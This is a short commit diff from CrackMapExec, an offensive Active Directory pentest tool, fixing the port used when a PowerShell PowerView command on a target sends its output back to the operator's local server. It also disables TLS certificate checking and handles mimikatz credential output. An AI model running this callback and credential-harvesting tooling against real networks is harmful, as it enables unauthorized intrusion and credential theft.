Fixed port variable when invoking PowerView

Author: byt3bl33d3r

core/powershell.py

@@ -4,6 +4,8 @@
 import settings
 
 def ps_command(command):
+    logging.info('PS command to be encoded: ' + command)
+
     if settings.args.server == 'https':
         logging.info('Disabling certificate checking for the following PS command: ' + command)
         command = "[Net.ServicePointManager]::ServerCertificateValidationCallback = {$true};" + command
@@ -64,7 +66,7 @@ def powerview(self, command):
         $requestStream.Write( $bytes, 0, $bytes.Length );
         $requestStream.Close();
         $request.GetResponse();""".format(protocol=self.protocol,
-                                          port=settings.args.port,
+                                          port=settings.args.server_port,
                                           addr=self.localip,
                                           view_command=command)
 

core/servers/mimikatz.py

@@ -83,7 +83,7 @@ def do_POST(self):
             print_att(data)
             self.save_mimikatz_output(data)
 
-        elif settings.args.powerview:
+        elif settings.args.powerview and data:
             print_succ('{} PowerView command output:'.format(self.client_address[0]))
             buf = StringIO(data.strip()).readlines()
             for line in buf:

crackmapexec.py

@@ -72,8 +72,7 @@
 parser.add_argument('--kerb', action="store_true", dest='kerb', help='Use Kerberos authentication. Grabs credentials from ccache file (KRB5CCNAME) based on target parameters')
 parser.add_argument("--port", dest='port', type=int, choices={139, 445}, default=445, help="SMB port (default: 445)")
 parser.add_argument("--server", choices={'http', 'https'}, default='http', help='Use the selected server (defaults to http)')
-parser.add_argument("--server-port", type=int, help='Start the server on the specified port')
-
+parser.add_argument("--server-port", metavar='PORT', type=int, help='Start the server on the specified port')
 #How much fail can we limit? can we fail at failing to limit? da da da dum
 parser.add_argument("--fail-limit", metavar='LIMIT', type=int, default=None, help='The max number of failed login attempts allowed per host (default: None)')
 parser.add_argument("--gfail-limit", metavar='LIMIT', type=int, default=None, help='The max number of failed login attempts allowed globally (default: None)')